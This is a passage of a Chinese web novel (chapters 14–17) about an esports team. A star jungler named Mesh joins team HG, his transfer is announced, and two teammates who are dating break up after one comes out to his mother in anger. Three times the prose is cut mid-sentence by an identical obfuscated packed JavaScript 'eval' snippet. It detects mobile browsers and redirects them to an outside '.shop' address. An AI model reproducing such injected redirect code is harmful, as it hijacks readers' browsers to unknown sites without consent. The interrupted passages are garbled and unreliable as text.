导致于琰在地狱一周的最后一天最后一小时最后一把游戏结束后热泪盈眶,紧紧捏着拳头咆哮道—— “老子终于解脱了!” 邵乖和于琰这一周经历得差不多,廖望延前四个小时练他,后四个小时练于琰,抽空还要去Nap那里看看他和左星水双排的情况。 可以说整个队伍里除了钟络之外,所有人都被廖望延用或强硬或怀柔的方式敲打过。 老姚这一周来训练室的时间都少了,毕竟现在来了一个和自己没有区别的新队员,他乐于抽空偷个小懒。 老姚甚至想着,要不就除了队员以外再给廖望延个副教练的职位吧。 这个想法一提出就被几名队员用手掌捂住了嘴,生怕廖望延一个当真真的应下。 廖望延对教练没什么兴趣,他只乐于看到众人面露生无可恋的神色,却又不得不听从自己的样子。 好在他也懂得打个巴掌给颗甜枣的道理,看着众人训练了一晚上面露疲态,他清了清嗓:“我看你们正好都没在打,要不来打把五排灵活?这把允许你们玩任何自己想玩的英雄。” 众人听见能玩想玩的英雄,顿时眼里冒出金光。 “奶奶,我终于能玩杰斯和刀妹了!” “复活吧我的爱人!永恩亚索阿卡丽!” “水哥,我要玩奶妈!” 恰巧此时老姚推门进来:“灵活?可以啊,你们谁把直播打开吧,预热一下新队员,国柱说这两天就要把Mesh进队的公告发出来了。” 于琰摆出小学生举手的动作:“我来我来让我开,他们这几天都开过了,就我鸽一礼拜了,再不开水友要骂死我了。” 老姚不知可否,于琰点开电脑上的喵喵直播,调试了一下设备打开摄像头,直播间里瞬间飘来无数弹幕。 【没想到此生还能再看见主播开播,泪目了。】 【我把已经睡着的爷爷摇起来跟他说他喜欢的主播开播了,他笑得像个孩子。】 【于!!!琰!!!你这一礼拜死哪去了!】 【Shark的老婆已经一周没等到老公回家了。】 【前面的那个说话注意点,这是我老公。】 于琰看着飞快刷屏的弹幕摆了个停的动作,笑嘻嘻和水友解释:“你们要知道,你们看不见我的日子里我都在专心训练。” 【确实,我最近视奸你的游戏记录,玩的全是团队型英雄,你变了。】 【大前天玩了一晚上丽桑卓,妖姬是谁你还记得吗?】 【你怎么天天和一个乱码名字双排啊?】 “乱码名字?那是我们新队友啊,邵乖不都告诉你们了。” 于琰边点符文边回复水友的问题,压抑了一个星期,他给自己选了个佐伊,决定必须要拿下这把的MVP。 【你们招新打野了?谁啊?那Clock呢?】 【你们新打野有点猛哦,我看比赛记录把把英雄都不一样,全是正战绩。】 “Clock还在,我们的新打野确实很猛,把我们练得和孙子一样。”于琰买了出门装跟着队友往中路走。 “不跟你们聊了,好不容易娱乐一把,看我怎么给你们操作就完了。” 于琰关掉弹幕,安心和队友打一级团。 这把几人的阵容分别是:刀妹,佛耶戈,佐伊,德莱文,奶妈。 看出众人这局游戏都放飞自我了,廖望延因为于琰开着直播只能沉默着打信号。 一级双方十人汇聚在上河道,对面机器人勾中刀妹开始混战,用1换3为左星水的德莱文拿下三杀。 左星水推了推鼻梁上的眼睛,在语音里轻轻说出:“游戏结束了。” 五分钟,廖望延帮助于琰拿下中路人头。 七分钟,下路左星水再次拿下双杀。 十二分钟,廖望延和于琰在上路成功帮助邵乖击杀对方上单和打野,放出峡谷先锋拿下一塔。 十九分钟,左星水超神。 二十三分钟,于琰超神。 二十六分钟,游戏结束。 整局游戏以雷霆破军之势向于琰直播间的水友展示出了实力。 于琰没能成功拿下MVP,这局游戏的MVP给到了左星水,于琰扫了扫鼻子点开弹幕和水友狡辩:“这把不怪哥们没拿到MVP好吧,德莱文一级团就三杀这还怎么玩?” 【借口!】 【这就是你16分钟的时候闪现抢水哥头的原因吗?】 “什么叫抢啊!我那叫合理补伤害!”于琰梗着脖子和水友吵。 “算了算了,和你们没什么可说的,你们什么都不懂,我下了。”于琰看着一串水友的嘲讽,破罐破摔就势要点关播。 【他急了他急了。】 【别走啊,给我们透露点新队友信息呗?】 【你们战队什么时候发公告啊?】 【这哥们比Clock猛,他要是来了Clock肯定看饮水机去了吧?】 【老公,再多陪陪我!】 【前面的,这是我老公!】 于琰停下要点关播的鼠标左键,往左看了一眼,戏谑地问:“新打野,他们都在问我你是谁,你说我说不说啊?” 廖望延看着他翻了个白眼,大拇指从脖子左侧划到右侧,暗指于琰如果再招欠,他就会出手了。 于琰立刻收敛,装腔作势地回复水友:“新队友别问了,等战队消息就行了。首发问题也少操心,我们教练会自己看着办。行了下播了,有缘再见了兄弟们。” 装作没看见满屏乱飞的挽留弹幕,于琰毅然点了下播按钮。 老姚拍了拍手里的笔记本示意大家:“行了,今天就训练到这吧,Mesh你跟我过来。” 众人欢呼着关掉电脑冲出训练室,廖望延则是跟在老姚后面进了会议室。 “怎么了姚哥?” 老姚坐下喝了口保温杯里的水,吧唧了两下嘴开口:“国柱的意思是明天发公告,你这边有什么问题吗?” “没有,你们看着来就行,需要我转发到时候直接告诉我就可以,不过NWG那边不是还没发我的离队公告吗?” “国柱已经和NWG那边的经理联系过了,明天会先由NWG那边发出你的离队通知,过两三个小时后HG这边再发你的入队公告,时间应该会在下午五点左右。到时候你记得改一下自己微博前缀,然后转发一下战队公告就行了。” 廖望延打了个哈欠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445225|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比了个ok的手势没说话。 “行了,这一个礼拜也辛苦你了,你赶紧回去休息吧。” 老姚看着廖望延不住的打哈欠,主动要结束话题。 廖望延摆摆手:“没事,正好我也有事和你说。” “这一礼拜的训练还是比较有成果的,至少我觉得于琰的游走率和游走成功率都提高了一些,我认为后面就不用一直这么逼着他玩游走型英雄了,一周内有个两三天玩一玩巩固一下就行。” “邵乖那边其实抗压型玩的不差,他只是单纯的不想玩,后续我决定对他实施夸奖政策,夸多了可能就会减少他的抗拒性了。” “下路那两个人没什么可说的,配合的挺好,以后具体战术具体分析吧,反正我觉得以后可以考虑一下野辅双动的阵容,Nap没什么问题。” 老姚点点头:“行,你觉得怎么做有效就怎么做。” “ok,那就先这样吧,我得回去睡觉了。” 一旁关完电脑正在卧室玩手机的于琰突然听见敲门声,他套上睡衣的上衣走到门口开了门。 门口是提着青提蛋糕的钟络。 他举起蛋糕袋子朝于琰甩了甩,温柔地调侃:“小钟外卖员来送货了,麻烦于先生签收一下。” 于琰没说话,笑了笑挪开身子示意他进来。 钟络看见他没开口不由得紧了紧抓着袋子的手指,故作轻松地进门将蛋糕放在桌子上,拿出里面的勺子递给于琰:“快吃吧,我看你这一周训练得很辛苦,昨天不还说需要甜食抚慰心灵吗。” 于琰接下递来的叉子,弯腰吃了一口就将叉子放下。 钟络维持着笑容问:“怎么了?不好吃吗?” 于琰摇摇头,淡淡回到:“没,挺好吃的,以前你不也买过吗,和以前一个味道。” “那……为什么不吃了?”钟络感受到了于琰略带敷衍的态度,不由得加快语速,“你这一周都没怎么和我说话,小琰,是我做错什么了吗?” 于琰后退坐到床边,翘起二郎腿看着墙上的装饰画装作随意地问:“钟络,你有事瞒我吗?” “没有。”钟络瞬间回答。 “是吗?那我现在可以回答你刚才的问题了,你没做错什么。” 既然双方心里都有事,都不想说,那就都不要说。 这样挺公平的。 于琰一边这样想着,一边拒绝着钟络的对视。 其实他就是憋着一股气释放不出来罢了。 自己能理解钟络,也能理解他父母,所以这一周一直在等,等钟络将那天花园里的事和自己坦白。 但钟络斩钉截铁的没有二字,让于琰觉得有些失望。 告诉自己又能怎样呢,自己会撒泼打滚不讲理吗?他明知道自己不会这么做,那瞒着的意义是什么?是真准备一边和自己谈一边敷衍着父母介绍的女生? 于琰越想越烦,开始赶人:“如果你没什么事的话我想休息了,有什么话明天再说吧。” 钟络想哄他,看着于琰毫不掩饰的烦躁又将话咽下。 “那你休息吧,蛋糕记得吃,我先走了。” 从椅子上起身走到门口,再将门从外面关上,于琰都没和钟络对视,只用背影送了他。 钟络合上门靠在上面,垂眼呆楞着。 “到底是怎么了……” 15. Chapter15 【李涛:HG的新打野会是何方神圣?】 【看战绩肯定不是新人,就是不知道花多少钱买来的选手了。】 【这哥们英雄池挺深,还都玩的好,应该是知名的那几个。】 【HG感觉下血本了,会不会买的是Mesh或者zzzheng?】 【楼上别搞笑了,你说的这两个全是队里的扛把子,原队怎么会放人。而且他们在现在的队伍也呆了很多年了,今年成绩又是一个大满贯一个总决赛四强,不可能的好吧。】 【Mesh和NWG的合同好像到期了,我小道消息听来的,不保准。】 【Mesh去HG我吃屎,你就算说玉皇大帝下凡打电竞去HG了我都信,延哥绝无可能。】 这个帖子是于琰下播以后发出来的,凌晨的帖子到早上已经盖起了千楼,有真情实感在分析的也有搅混水的,吵得好不热闹。 廖望延早上八点半起床后照惯例准备去慢跑,却在一楼沙发上看见了绝世奇景。 于琰居然醒着。 “怎么个意思?太阳打西边出来了?”廖望延凑近于琰,不可思议地看着他。 于琰顶着两个硕大的黑眼圈,将视线从天花板转向廖望延的身上。 “忧郁帅哥的事你少管。” “我心想你和忧郁帅哥哪个字也不搭边啊,跟爸爸说说,是什么让你愁得睡不着觉。” 于琰钟字都到嘴边了,犹豫了一瞬又吞了进去:“没事,单纯失眠。” “我从吴醒屁股上割块肉下来煎给你吃能不能管用?他微信名不是人型褪黑素么,应该和唐僧的不老肉是一个道理。” “廖望延,你现在舔一下嘴。” “干嘛?”廖望延不明白为什么话题突然变成了自己。 “我觉得你舔一下应该能毒死自己。”于琰面无表情地解释。 “蒙您惦记,我自幼试毒早就百毒不侵了。” 廖望延其实有一丝感觉,于琰的事应该和钟络脱不了关系,但这种事又不能明着问,就只好曲线救国先把于琰的注意力转移到自己身上。 自幼认识的了解度果然不是乱吹的,于琰成功被气到,一个猛子将廖望延拽到沙发上按在身下,用腿夹住他的腰,一个头槌砸在廖望延额头上。 杀敌一千自损八百。 于琰也不知道自己怎么想的,可能是因为熬了一整个通宵脑回路有点烧了。 廖望延“嘶”的一声,捂着额头惊恐地问他:“我就骚了几句,你就要跟我同归于尽?” 于琰刚想解释,大门就被刘国柱推开,紧随其后的还有老姚。 看见沙发上两位的姿势,他们二人将踩上瓷砖的脚收回,刘国柱像火烧屁股一样扔下一句:“不好意思,你们继续。” 大门重新合上。 门外的二人相视无言,门内的二人表情呆滞。 “赶紧滚下去。”廖望延开口唤回了于琰出逃的灵魂。 “哦哦哦,我去把国柱和老姚叫进来。” 于琰一把拉开大门,正将耳朵贴在门上偷听的刘国柱和老姚一个趔趄,差点趴在地上。 刘国柱整了整衣服,憨笑着说:“其实不用管我和老姚的,你们可以继续,嘿嘿。” “看我的额头。”于琰面无表情地指着脑门,“如果你再瞎想,我就让你成为第二个被它撞击的人,必须告诉你,第一个被他撞的人现在还没能从沙发上起来。” 刘国柱听见自己摇钱树可能受伤的消息,光速冲到了沙发前,对着捂着额头闭目养神的廖望延哭嚎:“Mesh啊!你怎么样啊!需不需要我打120!” “行了,戏过了,Mesh你怎么样?于琰你别跑!给Mesh道歉!”老姚伸手抓住想要溜走的于琰,毫不留情地给他后脑勺来了一掌。 “道什么歉!我不道歉!是他先烦我的!而且我脑门还疼呢!怎么没见你们让他给我道歉!”于琰边挣扎边嚎。 “算了经理姚哥,是我的问题,我看于琰这么早就起来了想关心他一下,结果他嫌我烦用额头撞我,可能是我关心的方式有问题吧,下次我会改的。” 廖望延仍旧保持着用手捂着额头的动作,只是边说边将身子微微转向了沙发,用半边后背对着众人。 在老姚和刘国柱看来,他简直是受了天大的委屈。 于琰被廖望延的绿茶言语惊到叹为观止。 太不要脸了!简直!太不要脸了! “我警告你好好说话!你装什么委屈!”于琰伸手就想揪廖望延的头发。 老姚成功将想要犯罪的手拦住,用笔记本狠狠拍了两下,看着于琰痛呼,他呵斥道:“老实呆着。” 老姚越是这样于琰越是有逆反心,千方百计想突破封锁线狠狠揍一顿沙发上的人。 廖望延扶着沙发坐起来劝道:“没事姚哥,于琰一晚上没睡,先让他回去睡觉吧。” “一晚上没睡?”老姚和刘国柱皆用惊讶的眼神看着于琰。 “咋了?不让人失眠啊?要不你们拿锤子把我砸晕吧。” 于琰后悔了,刚才在沙发上头槌廖望延的时候应该砸得更重一点,直接把自己砸晕过去也就省的有后面这些事了。 不远处的廖望延突然觉得有一阵莫名的冷风吹过。 “行了不闹了,你赶紧回屋躺着,一会我给你热杯牛奶。”廖望延用眼神指挥于琰。 经过这二十分钟的混乱,于琰也有了些倦意,点了点头告别几人上了楼。 刘国柱终于想起来自己还有事要和廖望延说。 “哦对了Mesh,我是想和你说,NWG那边下午三点会发你的变动公告,我在五点发,你定个闹钟,等我发了你就用自己的微博号转发一下。” “行,昨天姚哥已经和我说过了。”廖望延起身去给于琰热牛奶。 “没别的事了,你忙吧,我和老姚还有点事聊,后天你开播可以吗?” “可以。”廖望延将牛奶倒入杯子放进微波炉。 过了三分钟,他端着牛奶上了楼。 没敲门直接进了某人的卧室,映入眼帘的就是被窝里隆起的一个小山包。 廖望延将牛奶放在床头柜,一把掀开被子,沉默看着两只眼睛瞪得和铜铃一样的于琰。 “眼睛瞪得像铜铃,射出闪电般的精明?”廖望延面无表情唱出这句歌。 “烦你,赶紧走赶紧走。” 丝毫没有感谢牛奶的意思,于琰张口就是轰人。 “看你喝完牛奶我就走,你以为你这个猪圈我愿意来?” “放肆帅哥的事你别管。” 廖望延挑挑眉:“不忧郁改放肆了?” 三口将温热的牛奶吞入喉,于琰躺在床上轻声问:“阿延,你有没有事瞒着我啊?” 这话一出口廖望延心里咯噔一下,还以为自己心里的秘密被于琰察觉到了。 凝神看着于琰,却发现他好像意有所指。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445226|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廖望延故作姿态地回:“有,不仅有,还不少,你想听我说哪件?” “不想听了,滚。” 于琰知道他在逗自己,不想再和他打嘴仗。 “傻狗,少想那些乱七八糟的东西,有事就找我。”廖望延弯腰揉了揉于琰的头。 “行了,喝完牛奶一会就该困了,不打扰你了。中午吃饭就不叫你了,估计你也起不来,下午我替你跟姚哥请假,你安心睡。” “嗯。” 廖望延离开于琰卧室,轻轻带上卧室门,下楼进行晚了将近一小时的晨跑。 下午三点。 NWG夺冠微博后的第一条动态。 【New World Gaming电子竞技俱乐部选手变动公告】 经选手本人与俱乐部双方友好协商,在充分尊重个人意愿的前提下,原NWG英雄联盟分部打野选手廖望延(ID:Mesh)即日起正式离队。 Mesh选手与NWG携手度过四年时光,从初出茅庐到世界赛冠军,他带领战队拿到了数不清的荣誉。在NWG这四年,大家有过泪水有过欢笑,赛场上的他气势逼人,日常中的他随和谦虚,如今Mesh选手有了自己的新方向,NWG会支持他选择自己想选择的地方。 未来虽然Mesh不再是NWG的选手,但NWG永远会用最真诚的心祝福他。明年比赛再相见从队友变成对手,希望Mesh选手还要记得老东家的好哦。 一份公告引起轩然大波。 【哥们你真敢放人啊?这可是fmvp打野,你们花多少钱也得续下来啊。】 【呜呜呜不要啊,NWG队粉接受不了这件事。】 【你他妈最后那段抖什么机灵?就这么想被Mesh按着打?你就没点骨气?】 这只是第一条公告。 紧接着NWG又发了上单CC的离队公告,还有两条新队员的入队公告。 自此,NWG新赛季成员正式确定。 两小时后,下午五点。 HG俱乐部发布动态。 【HG电子竞技俱乐部选手变动公告】 非常高兴告知大家这个消息,经双方友好协商,原NWG电子竞技俱乐部打野选手Mesh(廖望延)正式加入HG电子竞技俱乐部作为首发队员,未来一年将与战队一同奋斗一同努力。 Mesh选手的成绩众人皆晓,强悍的个人实力无需多言。作为一名成熟且善战的打野选手,HG非常期待他在接下来带给大家的表现,相信他也不会让任何人失望。 HG.Mesh自今日起正式连接,未来我们一起奋勇向前! HG粉丝炸了。 这相当于自家没出栏的小花猪拱了别人家的翡翠白菜。 【哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!】 【老子不会是在做梦吧?】 【HG真有你的,闷声发大财,这些日子憋坏了吧?】 【果然,一切早有征兆,当我看见一个无名小号能操控Shark玩一礼拜的团队英雄时候我就应该想到的,除了Mesh还有谁能做到……】 【妈!我看的战队明年要崛起了!】 【所以Clock水灵灵的变成替补了,替他抹一把辛酸泪,没得比,确实没得比。】 两分钟后,廖望延的个人微博转发HG的动态,并配文—— 从今天开始,HG.Mesh正式链接。 16.Chapter16 廖望延的微博动态一小时内突破万评。 不单是他,正在直播的邵乖直播间也涌入大量水友。 邵乖结束一把游戏退出来点开弹幕被吓了一跳,茫然地问:“什么情况?我要火了?” 定睛看了几秒钟才缓过神来:“哦~原来是战队公告出来了。” 他将摄像头往右拧,光明正大的跟水友秀廖望延:“嘿嘿,没想到吧,我们HG偷了个电竞非物质文化遗产过来。” 此时廖望延正在单排,己方中单菜得让他觉得这人段位肯定是找代练打上来的,皱着眉头在公屏打字。 [小嘴抹蜜(德玛西亚皇子):哥们,我EQ挑起来你不接大是什么意思啊?] [高傲男神(疾风剑豪):不好意思,刚才女朋友给我喂了块西瓜,没注意。] [小嘴抹蜜(德玛西亚皇子):……] 廖望延在屏幕外嗤笑一声,砸了下鼠标骂道:“还他妈吃西瓜,老子看你长得像个西瓜,眉毛底下那俩窟窿眼要是用不上就塞两个西瓜子得了,没准来年还能生根发芽自产自销。” 他边骂边操作,一边的邵乖将摄像头扭回来,捂着嘴和水友小声哔哔:“看见了吗?他就是用这种言语尖刀折磨我一个礼拜的。” 【哈哈哈哈哈哈哈哈哈哈哈】 【所以NWG公告说他私下随和谦虚果然都是场面话】 【老公骂人好带感,多骂两句】 【所以Clock真就一下子从首发变替补了啊?有Mesh在根本轮换不上他吧。】 “钟哥?那我不清楚,这些都是教练需要考虑的事。”邵乖喝了口水,瞥到这条弹幕自然地回道。 门外上完厕所正要回训练室的钟络正巧听见邵乖和水友的一问一答,他停下脚步站在门口。 “延哥强不强你们还不知道?这一礼拜都给我们练成孙子了。” “有压力才有动力,相信钟哥肯定能调整好,哎呀你们少操没用的心。” “于琰?和Mesh配合得挺好啊,上个礼拜他俩双排天天连胜你们不都看见了吗。” “如果他不总让我玩抗压英雄我会更爱他的,声明!我现在也爱他!你们别去外面给我带节奏。” 钟络合上开了一小条缝的玻璃门,转身出了基地,在门口倚着墙发呆。 整个基地……不,是整个圈子都知道自己变成替补了,这种认知让钟络浑身都不痛快。 队友们都对新来的人很满意,男朋友也和他相处得开开心心,可自己呢? 休学来打电竞,三年了没进过世界赛,一边要被家人指责,一边要被水友谩骂,竞争对手强得让他望尘莫及,男朋友还莫名开始和自己冷战,钟络感觉自己像是回到了年初,手足无措。 天气降温降得厉害,冷风刮在钟络的脸上像是在抽巴掌一样,他没穿外套,仅身着一件长袖卫衣在屋外受虐。 突然,电话响起。 钟络垂在身侧的手被风吹僵,他用力张握了几次掏出兜里的手机接通,耳畔传来母亲温柔的声音—— “小仔,在干什么?” 钟络轻轻地说:“在训练。” “那妈妈是不是打扰你了?” “没关系,你说吧。” “哦哦,妈妈是想和你商量一下,这不是马上周末了吗,让你加的那个女孩子正好也有空,你把人家约出来吃个饭逛一逛呗?” 钟络心口像被石头堵住一样,他深吸了一口气拒绝:“妈,你让我加她的时候我就和你说的很清楚了,我只能加,别的做不到。” “小仔,话不能这么说的呀,我问过那个女孩子,她对你印象很好的,为什么不聊聊看呢,没准就在一起了呀。” “妈,我做不到。” 听着他毫不迟疑的拒绝,钟络妈妈还在苦口婆心的劝,离她手机有些远的地方传来声音,钟络听出了那是自己父亲在说话。 “你管这些闲事做什么?你让他和电脑结婚就得了。” “他都21了,该考虑这些了,你别打岔,小仔你听妈妈说……” 钟络崩溃了。 他说不出自己到底是因为什么而绷断了脑内的最后一根神经线。 可能是队友过于轻易的就接纳了廖望延,可能是廖望延过于强悍出众的实力,可能是因为于琰昨晚烦躁的眼神,可能是因为父亲日复一日年复一年的冷嘲热讽,也可能是母亲得寸进尺的软逼迫。 这一切都让钟络觉得生理性反胃。 他几乎是发疯似的朝着手机开口:“我说了做不到做不到做不到!为什么还要逼我!” “如果这么讨厌我,为什么还要偷偷看我的比赛?就当作没我这个儿子就好了啊,总是对我冷嘲热讽不感觉累吗?” “妈你别再逼我了!我不喜欢女生!我聊不下去的!我是同性恋!我有男朋友!我男朋友就是我同队的队员!” 听筒内的声音戛然而止。 下一秒,钟络听见了手机对面传来杯子碎裂的声音、渐近粗重的脚步声、刺耳的杂声、母亲的啜泣声。 然后,是被挂断的忙线声。 终于说出口了。 解脱了。 钟络的手机从耳边滑落砸在地上,屏幕瞬间变成蛛网。 一屁股坐在冰凉的地面上,钟络却觉得浑身像有一团火在烧,烧得他遍体黢黑血干肉尽。 爆发的那一刻,钟络其实听见了身后大门被人打开的声音,可当时他无暇理会,浑身的负面情绪冲破了理智防线,让他当着不知道多少人的面说出了埋藏的秘密。 身后确实不止一人,不仅不止,还几乎是聚齐了。 起因是刘国柱看见蹭蹭上涨的粉丝数心中愉悦,想着和老姚商量商量给队员们放两个小时假,大家一起出门去超市采购点零食晚上开party。 当大家欢呼着跟在刘国柱和老姚身后推开大门的一刹那,鸦雀无声。 看着钟络跌坐在地上将头垂在双臂间,众人将目光放在了面无表情看着钟络的于琰和廖望延身上。 “那个……延哥?还是……于琰?” 廖望延挪动身子,将于琰挡在自己身后,沉声回:“回去再说。” 众人皆回头往大厅走,刘国柱上前想将钟络扶起来却被他推开手,自己撑着地面站了起来,廖望延瞥了他一眼,转身将于琰带回屋里。 众人排排坐在沙发上,既不想表现出八卦的神情,却又无法克制的将视线落在钟络和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449702|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于琰身上。 钟络抹了把脸,像是放弃了什么似的,不敢看队友的眼睛只好对着半空说:“不好意思,让你们看笑话了。” “没事没事,不过你和……”刘国柱小心翼翼地问。 “恋爱关系。”于琰淡淡开口。 “哦哦,恋爱关系啊哈哈,恋爱好啊恋爱,那个……那个什么……” 刘国柱被于琰坦然的回应吓到反而不知道该说什么了,脑子里一片空白。 于琰捻了捻手指头解释:“两个月左右吧,时间不长不稳定就没想说,不过既然你们听见了那就没必要藏了。” “小琰……”钟络看着于琰平静如死水的脸不知道该说些什么。 “也没什么别的了,就这点事,国柱,超市还去不去?” 于琰打断钟络,他是硬生生被刘国柱敲门敲醒的,带着点起床气下了楼,又被迫公布了秘密,他现在的脾气就像一座活火山,随时可能会爆发。 “哦哦哦,去去去,现在就走。” 于琰的话给了现在尴尬的众人一个台阶,大家作鸟兽散。 廖望延感觉到了于琰身上的燥意,刚想开口也被于琰打断:“你替我去超市买包果冻买袋薯片。”然后将目光转向钟络,“你跟我上楼。” 廖望延想了想没说话,跟上大部队出了门,基地内剩余的两人一前一后进了于琰的卧室。 将门反锁,于琰拉开椅子示意钟络坐下,视线放在他因不安而抠着的手指上。 二人沉默了好一会。 钟络是不敢说话,于琰是在平复心里的烦躁感。 “我再问你一遍,你有事瞒我吗?”于琰先开了口。 钟络这才发觉,原来于琰昨天问的是这件事,他无奈开口:“原来你已经知道了,什么时候知道的?” “那天你在花园接电话,我在餐厅听见了。” “当天就知道了啊……” 钟络摇摇头自嘲地笑了一下,如果早知道是这样,昨天为什么还要撒谎呢。 “我没告诉你这件事是因为我觉得自己能处理好,我们才在一起不久,我不想因为这些事影响到你。” 于琰反驳道:“所以你处理好了吗?没有。影响到我了吗?是的。” “不是的小琰……”钟络想解释,却被于琰的手势打断。 “我知道你和家里的关系一直比较紧张,所以他们来这旅游的时候我是衷心的在替你开心,我以为你们之间的关系虽然不可能回到最初但起码缓和了大半。但你今天这通电话是痛快了,以后又该怎么修补呢?” “我……” “你出柜出得简单,脾气发泄得彻底,那你在脱口而出的时候有听到开门声吗?有考虑到会是谁在身后吗?有想过咱们两个现在的关系适不适合这样做吗?有换位思考过你父母突然之间听见这件消息的冲击感吗?” 于琰边说边摇头:“你都没有。” 钟络哑口无言,他知道自己冲动下做出的这件事有多错误,所以他无话可说。 于琰看着他懊悔的表情,深呼吸了两次,还是决定将这一周内反复考虑的事说出口—— “钟络,我觉得我们都需要考虑一下这段关系是否还能再继续。” 17.Chapter17 “小琰……你这是什么意思?” “就因为我隐瞒了你?还是因为我在气头上出了柜?我不明白,我这么做并没伤害到你啊,为什么要和我分手啊?!” 钟络慌乱起身到于琰身边,红着眼眶抓着他的手磕磕巴巴地问,用力的指尖还泛着轻微的颤抖。 于琰的手被捏得有些疼,但他没挣脱开。 “不是的,不是因为你隐瞒,也不是因为你出柜。” “在花园里听见你和你妈妈通电话的时候,我确实有一点生气,当时我气你为什么就这么应下了你妈妈,我气你明明和我在一起还要加其他女生,可晚上躺在床上细想的时候我就不气了。” 于琰抽出手,覆上钟络通红的眼眶,感受着他湿润的睫毛划过自己的手心,深深地叹了口气。 “这一周我一直在想,就算你这次拒绝了你妈妈的要求,可很快就会有下一次,下下次,无数次。只要你一天不出柜,这件事就会一直伴随着你,但是你出柜,就会将你和家庭本就有嫌隙的裂缝扯大,你没有错,可你的家庭也没有错。不希望你打电竞是希望你稳妥的长大,给你介绍女朋友是想让你在其他方面像正常的同龄人一样,他们虽然方式使用的有些偏,可终归还是因为在乎你才会这样做。” “我们在一起不到三个月,这个时间很短,一切都还停留在最上头的阶段,互相看对方哪里都好,可如果因为这份热恋期的冲动导致你和家庭彻底决裂,钟络,我会自责,你让我如何担得起这份担子。” 于琰撤下手,看着强忍泪意的钟络,他也有点想哭。 到底为什么就成了这样呢。 坚持选择电竞这条路让他差点失去了父亲,如果再坚持同性恋这条路,他会不会再失去母亲?于琰不敢赌,他不敢背负着一个人一生的命运行事。 说他胆小也好,说他不负责也好,说他没那么爱也好,都好。 只要不因为他而毁了一个本还过得去的家庭,那一切都好。 钟络终究没忍得住,轻轻将额头搭在于琰的膝头,不多时于琰就感觉自己膝盖上的布料湿了一块。 钟络无声地哭,肩膀微微起伏,双手攥紧放在于琰大腿两侧,力气大到指骨处泛白整个拳头都在颤抖。 整整十分钟,房间内没有一点声音。 钟络终于抬起头,用红肿的眼睛看着于琰,轻声问:“非要这样吗?” “小钟络,不要任性。” 于琰撑起笑容,对着钟络露出六颗牙齿:“我们只是回到最开始,我们仍然是队友。” “好,我知道了。” 钟络放弃了,他知道于琰不会改变心意了。 虽然平时看起来于琰大大咧咧什么都不放在心上什么都很凑合,但钟络知道,于琰一旦决定,就不会回头了。 那就互相都体面一点,不要把美好的事情变得令人作呕。 “那我先走了。”钟络起身告别。 “好,记得给你妈妈回个电话解释清楚。”于琰没送他,背对着他轻声说。 “嗯,我知道。” 声音渐没于关上的房门。 于琰长舒了一口气,这样就很好。 屋外的钟络平复了一下自己的心情,回到卧室躺在床上给妈妈拨去电话。 电话响了很久被自动挂断,钟络又打回去,这次被立刻挂掉,他又打了第三次。 这次被接通了,但没人说话。 钟络看着天花板,面无表情地说:“喂?妈,对不起,刚才我心情不好,所以一时没控制住自己,我其实就是不想让你给我介绍女朋友,同性恋是我的借口。” 电话对面沉默了很久才传来轻啜声。 她一开始还哭得保守,后来放弃了矜持哭得上气不接下气,一句话需要拆成三四次才能说完。 “小……小仔,你吓死……妈妈……了。” “妈妈以为……你真的是……同性……恋。” 钟络平静地听着,刚哭过的眼睛此时又泛起湿意,他眨了眨眼,眼泪从眼角划到发间。 “对不起妈,我当时光想着怎么拒绝你了,没过脑子就撒了这么个谎。” 钟络妈妈哭累了,终于能将句子完整地说出来:“小仔,不要再这样吓妈妈了,妈妈知道错了,以后不给你介绍女朋友了好不好?” 钟络闻言痛哭出声,蜷缩在床上将自己藏进被子里,所有声音都闷在里面。 “小仔?怎么了?你别哭啊,妈妈又说错什么了吗?” “没有妈,我就是最近压力太大了。” “你不要钻牛角尖,适当也要放松一下。” “我不敢放松,我一懈怠就会被扔掉。” “你在妈妈心里永远是最厉害的。” “……” 一小时后,去超市的众人像做贼一样推开基地大门,看见大厅没有人都松了口气。 邵乖一屁股坐在沙发上,看着其余的众人嗫嚅着问:“那现在咋办啊?我感觉已经无法直视他俩了。” Nap从袋子里掏出零食摆在餐桌上,边摆边说:“凉拌,以前怎么样以后就怎么样,咱们不知道的时候也相处得好好的。” 左星水拍了拍Nap的头顶,欣慰地说:“小醒长大了。” 刘国柱挠了挠头:“那晚上party还办不办啊?” 廖望延从桌子上拿起果冻和薯片,边往楼梯走边说:“办,为什么不办,你们吃着,一会我把于琰带下来。” 